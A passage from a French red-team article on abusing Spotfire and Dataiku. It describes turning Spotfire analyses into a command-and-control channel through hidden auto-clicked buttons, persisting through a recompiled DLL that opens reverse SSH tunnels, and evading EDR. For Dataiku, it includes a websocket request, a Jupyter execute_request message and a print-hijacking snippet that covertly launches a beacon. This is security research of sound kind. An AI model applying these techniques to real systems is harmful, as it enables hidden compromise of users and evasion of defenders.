<p>Les scripts intégrés dans l’analyse doivent être de confiance pour pouvoir être exécutés par d’autres utilisateurs. Ce processus de confiance est effectué via des utilisateurs <span style="color: #250f6b;"><em>Spotfire</em> </span>dotés de droits spécifiques. Avec l’exécution de code à distance sur l’instance <span style="color: #250f6b;"><em>Spotfire</em></span>, il est possible de créer directement un nouvel utilisateur administrateur. Cependant, en raison de la gestion non sécurisée des utilisateurs par les équipes métiers, tous les utilisateurs disposent généralement des privilèges nécessaires pour faire confiance aux scripts.</p>
<p>Afin de compromettre les utilisateurs, l’application <span style="color: #250f6b;"><em>Spotfire</em> </span>peut être <span style="color: #451dc7;"><strong>utilisée comme une infrastructure de command and control</strong>.</span></p>
<p>Lorsque l’utilisateur ouvre un fichier d’analyse depuis son client lourd, le fichier est téléchargé localement, et tous les scripts contenus sur le projet sont exécutés localement sur le poste de l’utilisateur.</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23736" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_16.png" alt="" width="3573" height="2735" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_16.png 3573w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_16-250x191.png 250w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_16-51x39.png 51w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_16-768x588.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_16-1536x1176.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_16-2048x1568.png 2048w" sizes="auto, (max-width: 3573px) 100vw, 3573px" /></p>
<p style="text-align: center;"><em>Figure 16: Vision macro de l’infrastructure C2 du Spotfire</em></p>
<p>Cette feuille d’analyse a <span style="color: #451dc7;"><strong>été infectée via un script JS</strong></span>. Une fois ouvert par l’utilisateur, le code <span style="color: #250f6b;"><em>JavaScript</em> </span>sera exécuté conduisant à l’exécution d’un script python final contenant la balise <span style="color: #250f6b;"><em>C2</em></span>.</p>
<p>Cela peut être fait en ajoutant dans n’importe quelle page du projet un nouveau bouton qui déclenchera le <span style="color: #250f6b;"><em>runtime python C2</em></span>. Le bouton peut être configuré pour avoir une taille de 1 px, ce qui le rend invisible. Ensuite, un script <span style="color: #250f6b;"><em>JS</em> </span>peut être ajouté pour cliquer automatiquement sur le bouton de manière régulière (toutes les <span style="color: #250f6b;"><em>30</em> </span>secondes par exemple).</p>
<p>Tant que le fichier d’analyse est ouvert, le code JavaScript appellera le script python <span style="color: #250f6b;"><em>C2</em> </span>toutes les <span style="color: #250f6b;"><em>30</em> </span>secondes, permettant l’exécution d’un <strong><span style="color: #451dc7;">script python arbitraire et d’une commande du système d’exploitation sur l’ordinateur de l’utilisateur</span>.</strong></p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23738" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_17.png" alt="" width="3573" height="2613" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_17.png 3573w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_17-261x191.png 261w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_17-53x39.png 53w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_17-768x562.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_17-1536x1123.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_17-2048x1498.png 2048w" sizes="auto, (max-width: 3573px) 100vw, 3573px" /></p>
<p style="text-align: center;"><em>Figure 17: Vision bas niveau du fichier d’analyse infecté</em></p>
<p>La seule limitation est que le <span style="color: #250f6b;"><em>JS</em> </span>ne sera déclenché que si l’utilisateur ouvre la page infectée spécifique. Cela peut être contourné en <span style="color: #451dc7;"><strong>redirigeant l’utilisateur vers la page d’analyse malveillante</strong> </span>lorsqu’il l’ouvre.</p>
<p>Lorsque l’utilisateur ouvre l’analyse infectée, celle-ci <span style="color: #451dc7;"><strong>déclenche automatiquement une fonction de données (qui est différente d’un script)</strong>.</span></p>
<p>Les <span style="color: #250f6b;"><em>datafunction</em> </span>sont des fonctions exécutées à l’ouverture du projet. Cependant, leur sous-ensemble de fonctionnalités est limité. Ils ne peuvent pas exécuter régulièrement un script <span style="color: #250f6b;"><em>Python</em> </span>important.</p>
<p>Cette fonction de données est configurée pour <span style="color: #451dc7;"><strong>mettre à jour une propriété de document aléatoire</strong></span>. <span style="color: #250f6b;"><em>Spotfire</em> </span>permet de configurer des hooks de script sur les propriétés modifiées. Ainsi, lorsque la propriété est modifiée par la fonction <span style="color: #250f6b;"><em>data</em></span>, <span style="color: #451dc7;"><strong>cela déclenchera un script IronPython qui affichera une feuille d’analyse spécifique à l’utilisateur</strong>.</span></p>
<p> </p>
<p>Une fois la feuille d’analyse infectée focalisée, elle démarrera la balise python <span style="color: #250f6b;"><em>C2</em> </span>de manière régulière via le script <em><span style="color: #250f6b;">JS</span> </em>comme expliqué précédemment :</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23740" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_18.png" alt="" width="3573" height="2613" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_18.png 3573w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_18-261x191.png 261w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_18-53x39.png 53w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_18-768x562.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_18-1536x1123.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_18-2048x1498.png 2048w" sizes="auto, (max-width: 3573px) 100vw, 3573px" /></p>
<p style="text-align: center;"><em>Figure 18: process de lancement automatique du C2</em></p>
<p>Lorsque ce <span style="color: #250f6b;"><em>C2</em> </span>sera déployé, il <span style="color: #451dc7;"><strong>restera actif tant que l’analyse infectée restera ouverte sur le poste de l’utilisateur</strong></span>.</p>
<p>La figure suivante montre la compromission d’un poste utilisateur et l’exécution d’un script <span style="color: #250f6b;"><em>python</em> </span>distant récupéré par la balise <span style="color: #250f6b;"><em>python</em> </span>:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23698" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_19.png" alt="" width="964" height="429" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_19.png 964w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_19-429x191.png 429w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_19-71x32.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_19-768x342.png 768w" sizes="auto, (max-width: 964px) 100vw, 964px" /></p>
<p style="text-align: center;"><em>Figure 19: execution de commande sur le poste utilisateur</em></p>
<p>Afin de compromettre un maximum d’utilisateurs, il est possible d’infecter plusieurs projets et d’attendre que les utilisateurs cliquent dessus.</p>
<p>Habituellement, les entreprises stockent des modèles de projet spécifiques quelque part sur le serveur Spotfire. Si vous les trouvez, vous infecterez automatiquement tous les projets basés sur ce modèle.</p>
<h2><span style="color: #451dc7;">5.2. Etendre le temps de compromission</span></h2>
<p>Ce processus <span style="color: #250f6b;"><em>C2</em> </span>est intéressant mais <span style="color: #451dc7;"><strong>se termine lorsque l’utilisateur ferme l’analyse infectée</strong></span>. Afin d’avoir un accès plus persistant à l’ordinateur de l’utilisateur, le processus <span style="color: #250f6b;"><em>C2</em> </span>est <span style="color: #451dc7;"><strong>migré de Spotfire vers une autre instance Python</strong> </span>sur l’ordinateur de l’utilisateur.</p>
<p>En effet, lorsque <span style="color: #250f6b;"><em>Spotfire</em> </span>est installé, il installe également un interpréteur <span style="color: #250f6b;"><em>python</em> </span>brut. Grâce au <span style="color: #250f6b;"><em>C2</em> </span>initial, il est possible, via l’exécution de commandes du système d’exploitation, d’écrire une autre balise <span style="color: #250f6b;"><em>C2</em> </span>sur le système de fichiers utilisateur et de <span style="color: #451dc7;"><strong>déclencher son exécution par l’interpréteur python brut</strong></span>.</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23742" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_20.png" alt="" width="3927" height="2096" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_20.png 3927w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_20-358x191.png 358w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_20-71x39.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_20-768x410.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_20-1536x820.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_20-2048x1093.png 2048w" sizes="auto, (max-width: 3927px) 100vw, 3927px" /></p>
<p style="text-align: center;"><em>Figure 20: C2 sans les restrictions Spotfire</em></p>
<p>Cette fois, même si l’analyse infectée est fermée, <span style="color: #451dc7;"><strong>le processus python ne sera pas terminé</strong></span> car il n’est plus lié à <span style="color: #250f6b;"><em>Spotfire</em></span><strong>, <span style="color: #451dc7;">accordant à l’attaquant un accès persistant à l’ordinateur de l’utilisateur</span></strong> tant qu’aucun redémarrage n’est effectué.</p>
<p> </p>
<h2><span style="color: #451dc7;">5.3. Persistance d’accès</span></h2>
<h3><span style="color: #451dc7;">5.3.1. DLL Hijacking</span></h3>
<p>Grâce à la balise <span style="color: #250f6b;"><em>C2</em></span>, il est possible de générer des <span style="color: #250f6b;"><em>reverse socks SSH</em></span>. Les reverse socks SSH suffisent pour accéder au réseau interne, cependant, elles seront <span style="color: #451dc7;"><strong>terminées lorsque l’ordinateur de l’utilisateur sera arrêté</strong></span> et ne seront remontées que lorsque l’utilisateur rouvrira une analyse infectée et déclenchera à nouveau l’exécution de la balise C2.</p>
<p>Afin <span style="color: #451dc7;"><strong>d’obtenir de la persistance et de garantir que les socks seront remontées</strong></span> même si l’ordinateur de l’utilisateur est redémarré, certaines <span style="color: #451dc7;"><strong>modifications des fichiers d’application peuvent être effectuées</strong></span> sur le poste de travail de l’utilisateur.</p>
<p>Les utilisateurs compromis via la balise <span style="color: #250f6b;"><em>Spotfire</em> </span>sont des analystes de données et Spotfire est leur principal outil et plus probablement <span style="color: #451dc7;"><strong>la première application qu’ils exécutent lorsqu’ils allument leur ordinateur</strong>.</span></p>
<p>Le client lourd <span style="color: #250f6b;"><em>Spotfire</em> </span>est développé en <em><span style="color: #250f6b;">C#</span></em>. Ses <span style="color: #250f6b;"><em>DLL</em> </span>peuvent être facilement inversées et elles sont stockées dans le dossier utilisateur <span style="color: #250f6b;"><em>APPDATA</em></span>. Ainsi, avec un simple accès à la session utilisateur, il est possible de modifier ces <span style="color: #250f6b;"><em>DLL</em> </span>sans avoir besoin d’une élévation de privilèges spécifique. A l’aide de <span style="color: #250f6b;"><em>SysInternals Procmon.exe</em></span>, on retrouve la liste des <span style="color: #250f6b;"><em>DLL</em> </span>chargées par <span style="color: #250f6b;"><em>Spotfire</em></span>. Ensuite, l’une de ces <span style="color: #250f6b;"><em>DLL</em> </span>fait l’objet d’une ingénierie inverse et est infectée, comme le montre la figure suivante :</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23702" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_21.png" alt="" width="576" height="290" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_21.png 576w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_21-379x191.png 379w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_21-71x36.png 71w" sizes="auto, (max-width: 576px) 100vw, 576px" /></p>
<p style="text-align: center;"><em>Figure 21: DNSpy montrant la DLL modifiée</em></p>
<p>Le code malveillant injecté <span style="color: #451dc7;"><strong>créera un nouveau processus SSH montant une nouvelle reverse sock SSH</strong></span> au démarrage de <span style="color: #250f6b;"><em>Spotfire</em></span>.</p>
<p>La <span style="color: #250f6b;"><em>DLL</em> </span>est recompilée et téléchargée sur chaque poste de travail utilisateur compromis et la balise <span style="color: #250f6b;"><em>C2</em> </span>est modifiée pour exécuter cette action lorsqu’elle détecte un nouveau rappel utilisateur.</p>
<h3><span style="color: #451dc7;">5.3.2. Considération OPSEC</span></h3>
<p>Bien qu’elle ressemble à du <span style="color: #250f6b;"><em>DLL hijacking</em></span>, cette technique est difficilement détectable par un <span style="color: #250f6b;"><em>EDR</em> </span>car la <span style="color: #250f6b;"><em>DLL</em> </span>d’origine n’a pas été échangée par un logiciel malveillant comme dans le <span style="color: #250f6b;"><em>DLL hijacking</em> </span>ou le <span style="color: #250f6b;"><em>DLL proxying</em></span>. La <span style="color: #250f6b;"><em>DLL</em> </span>exécutée par <span style="color: #250f6b;"><em>Spotfire</em> </span>est celle d’origine recompilée avec un code supplémentaire engendrant un nouveau processus.</p>
<p>Comme la <span style="color: #250f6b;"><em>DLL Spotfire</em> </span>d’origine n’est pas signée, <span style="color: #250f6b;"><em>l’EDR</em> </span>ne peut pas détecter la modification.</p>
<h3><span style="color: #451dc7;">5.3.3. Résilience</span></h3>
<p>Pour éviter d’être bloqué via une règle de pare-feu si l’adresse <span style="color: #250f6b;"><em>IP</em> </span>des <span style="color: #250f6b;"><em>socks</em> </span>est sur liste noire, le code malveillant implanté dans la <span style="color: #250f6b;"><em>DLL Spotfire</em> </span>ne contient pas d’adresse <span style="color: #250f6b;"><em>IP</em> </span>distante, de port et de clé <span style="color: #250f6b;"><em>SSH</em> </span>codés en dur, à chaque fois qu’il récupère ces informations à partir d’un serveur distant différent.</p>
<p>Ainsi, même si le <span style="color: #250f6b;"><em>SOC</em> </span>met sur liste noire l’adresse <span style="color: #250f6b;"><em>IP SOCKS</em></span>, il est possible de modifier à distance l’adresse <span style="color: #250f6b;"><em>IP</em> </span>de destination <span style="color: #250f6b;"><em>SOCKS</em> </span>sans avoir besoin d’un accès direct aux ordinateurs des utilisateurs compromis.</p>
<h1><span style="color: #451dc7;">6. Se cacher à la vue de tous</span></h1>
<p>L’application <span style="color: #250f6b;"><em>Dataiku</em> </span>peut être utilisée pour masquer l’exécution de commandes malveillantes et faire croire qu’elle a été effectuée par un autre utilisateur.</p>
<h2><span style="color: #451dc7;">6.1. Intégration Jupyter dans Dataiku</span></h2>
<p>Comme dit précédemment, <span style="color: #250f6b;"><em>Dataiku</em> </span>expose une application de type <span style="color: #250f6b;"><em>Jupyter</em></span>. En examinant le code <span style="color: #250f6b;"><em>Dataiku</em> </span>et les différents processus exécutés par l’instance <span style="color: #250f6b;"><em>DSS</em></span>, cela montre que <span style="color: #250f6b;"><em>Dataiku</em> </span>n’a pas redéveloppé des applications de type <span style="color: #250f6b;"><em>Jupyter</em></span>, mais <strong><span style="color: #451dc7;">a simplement exécuté une instance Jupyter Notebook complète en arrière-plan</span></strong><span style="color: #451dc7;"> :</span></p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23704" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_22.png" alt="" width="599" height="248" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_22.png 599w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_22-437x181.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_22-71x29.png 71w" sizes="auto, (max-width: 599px) 100vw, 599px" /></p>
<p style="text-align: center;"><em>Figure 22: serveur Jupyter sur le port 11002</em></p>
<p>Une simple redirection de port accorde l’accès à l’instance <em><span style="color: #250f6b;">Jupyter</span> </em>:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23706" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_23.png" alt="" width="545" height="161" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_23.png 545w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_23-437x129.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_23-71x21.png 71w" sizes="auto, (max-width: 545px) 100vw, 545px" /></p>
<p style="text-align: center;"><em>Figure 23: instance Jupyter</em></p>
<p>Lors de l’exécution d’une cellule <span style="color: #250f6b;"><em>Jupyter</em></span>, il est possible, en effectuant une capture réseau, de voir la communication <span style="color: #250f6b;"><em>TCP</em> </span>entre l’instance <span style="color: #250f6b;"><em>Dataiku</em> </span>et le backend <span style="color: #250f6b;"><em>Jupyter</em> </span>:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23708" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_24.png" alt="" width="873" height="204" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_24.png 873w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_24-437x102.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_24-71x17.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_24-768x179.png 768w" sizes="auto, (max-width: 873px) 100vw, 873px" /></p>
<p style="text-align: center;"><em>Figure 24: paquet TCP</em></p>
<p>Cela montre que l’instance <span style="color: #250f6b;"><em>Dataiku</em> </span>expose pleinement le noyau <span style="color: #250f6b;"><em>Jupyter</em> </span>et une enquête supplémentaire montre que le <span style="color: #250f6b;"><em>TOKEN API</em> </span>utilisé par <span style="color: #250f6b;"><em>Dataiku</em> </span>pour communiquer avec le backend <span style="color: #250f6b;"><em>Jupyter</em> </span>est le même quel que soit le notebook <span style="color: #250f6b;"><em>Jupyter</em> </span>chargé.</p>
<p>Ainsi, tout utilisateur ayant accès à la fonctionnalité <span style="color: #250f6b;"><em>Jupyter Notebook</em> </span>est <span style="color: #451dc7;"><strong>capable d’exécuter du code sur n’importe quel noyau Jupyter chargé tant qu’il dispose de l’ID du noyau</strong>.</span> Heureusement, les identifiants des noyaux sont affichés dans les lignes de commande du processus. Ainsi, le code suivant peut être utilisé pour récupérer tous les identifiants du noyau :</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23710" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_25.png" alt="" width="645" height="115" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_25.png 645w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_25-437x78.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_25-71x13.png 71w" sizes="auto, (max-width: 645px) 100vw, 645px" /></p>
<p style="text-align: center;"><em>Figure 25: recuperation de l’ID Kernel</em></p>
<p> </p>
<h2><span style="color: #451dc7;">6.2. Obfusquer la requête d’exécution</span></h2>
<p>Une fois l’identifiant du noyau récupéré, il est <span style="color: #451dc7;"><strong>possible de créer une session sur le noyau</strong></span> :</p>
<pre><code>GET /jupyter/api/kernels/0ab25b8f-1714-4bc9-8449-c09faf5c2e29/channels?session_id=c8c6a227ea3c465c82e39c403ba705a18 HTTP/1.1</code><br /><code>Host: 10.125.3.111:11000</code><br /><code>&lt;SNIP&gt;</code><br /><code>Origin: http://10.125.3.111:11000</code><br /><code>Sec-WebSocket-Key: obLqAtXNc/KxMJOp27qxIQ==</code><br /><code>Connection: keep-alive, Upgrade</code><br /><code>Cookie: &lt;SNIP&gt;</code><br /><code>Pragma: no-cache</code><br /><code>Cache-Control: no-cache</code><br /><code>Upgrade: websocket</code></pre>
<p>Cette requête créera un <span style="color: #250f6b;"><em>websocket</em> </span>pour communiquer avec le noyau <span style="color: #250f6b;"><em>Jupyter</em></span>. <span style="color: #451dc7;"><strong>Aucun contrôle d’accès spécifique n’est effectué sur ce point de terminaison</strong></span>. Tant que vous êtes autorisé à exécuter n’importe quel notebook <span style="color: #250f6b;"><em>Jupyter</em></span>, vous pouvez vous connecter à n’importe quel noyau <span style="color: #250f6b;"><em>Jupyter</em> </span>même si vous ne pouvez pas accéder au notebook à l’aide de l’interface utilisateur.</p>
<p>Il est alors possible d’utiliser le <span style="color: #250f6b;"><em>websocket</em> </span>pour envoyer une commande à exécuter au noyau <span style="color: #250f6b;"><em>python</em> </span>:</p>
<pre><code>{</code><br /><code>  "header": {</code><br /><code>    "msg_id": "ef46ce660d49457c890ce550420ed921",</code><br /><code>    "username": "username",</code><br /><code>    "session": "f4fe997b336f4a019c4c6837df699d30",</code><br /><code>    "msg_type": "execute_request",</code><br /><code>    "version": "5.2"</code><br /><code>  },</code><br /><code>  "metadata": {},</code><br /><code>  "content": {</code><br /><code>    "code": "print('test')",</code><br /><code>    "silent": false,</code><br /><code>    "store_history": true,</code><br /><code>    "user_expressions": {},</code><br /><code>    "allow_stdin": true,</code><br /><code>    "stop_on_error": true</code><br /><code>  },</code><br /><code>  "buffers": [],</code><br /><code>  "parent_header": {},</code><br /><code>  "channel": "shell"</code><br /><code>}</code></pre>
<p> </p>
<p>Ce qui est intéressant, c’est que la commande est exécutée, mais <span style="color: #451dc7;"><strong>n’est enregistrée dans aucune cellule Jupyter, ce qui conduit à une exécution de commande invisible</strong></span> tant que le noyau est vivant.</p>
<p>De plus, si vous modifiez la valeur d’une variable spécifique, elle sera persistante. Donc, si vous envoyez la commande <span style="color: #250f6b;"><em>python</em> </span>:</p>
<pre><code>def hijacked_print(value):</code><br /><code>    import sys</code><br /><code>    process = subprocess.Popen(‘YOUR BEACON’, stdout=subprocess.PIPE, shell=False)</code><br /><code>    sys.stdout.write('hijacked print: {}'.format(value))</code><br /><br /><br /><code>print = hijacked_print</code></pre>
<p>La balise sera exécutée lorsqu’un utilisateur utilise la commande <span style="color: #250f6b;"><em>print</em> </span>et comme l’exécution précédente de <span style="color: #250f6b;"><em>Python</em> </span>n’a laissé aucune trace, bonne chance pour la détecter et trouver quel utilisateur a été compromis.</p>
<h1><span style="color: #451dc7;">7. Conclusion</span></h1>
<p>Les applications de science des données sont <span style="color: #451dc7;"><strong>utiles à n’importe quelle étape de la killchain</strong></span>. Pour un attaquant distant, ils peuvent être utilisés comme point d’entrée initial sur le système d’information, ils peuvent être exploités pour trouver des informations d’identification stockées de manière non sécurisée afin de rebondir sur le système d’information, leurs capacités de script peuvent être utilisées pour <span style="color: #451dc7;"><strong>diffuser une balise malveillante entre plusieurs utilisateurs</strong></span> et les données qu’ils contiennent peuvent être facilement volées et exfiltrées.</p>
<p>Ces applications sont <span style="color: #451dc7;"><strong>sapées soit par les attaquants, soit par le service informatique</strong></span>. Une simple compromission de l’une de ces applications peut avoir un impact considérable sur l’ensemble du système d’information.</p>
<p>Il est temps que l’infosec commence à intégrer le mot à la mode comme le BigData et l’apprentissage automatique dans la killchain, l’attaquant l’a déjà fait…</p>
<p> </p>
<p> </p>
<p> </p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2024/07/datascience-pour-la-redteam-etendre-sa-surface-dattaque/">DataScience pour la RedTeam: Etendre sa surface d&rsquo;attaque</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/2024/07/datascience-pour-la-redteam-etendre-sa-surface-dattaque/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
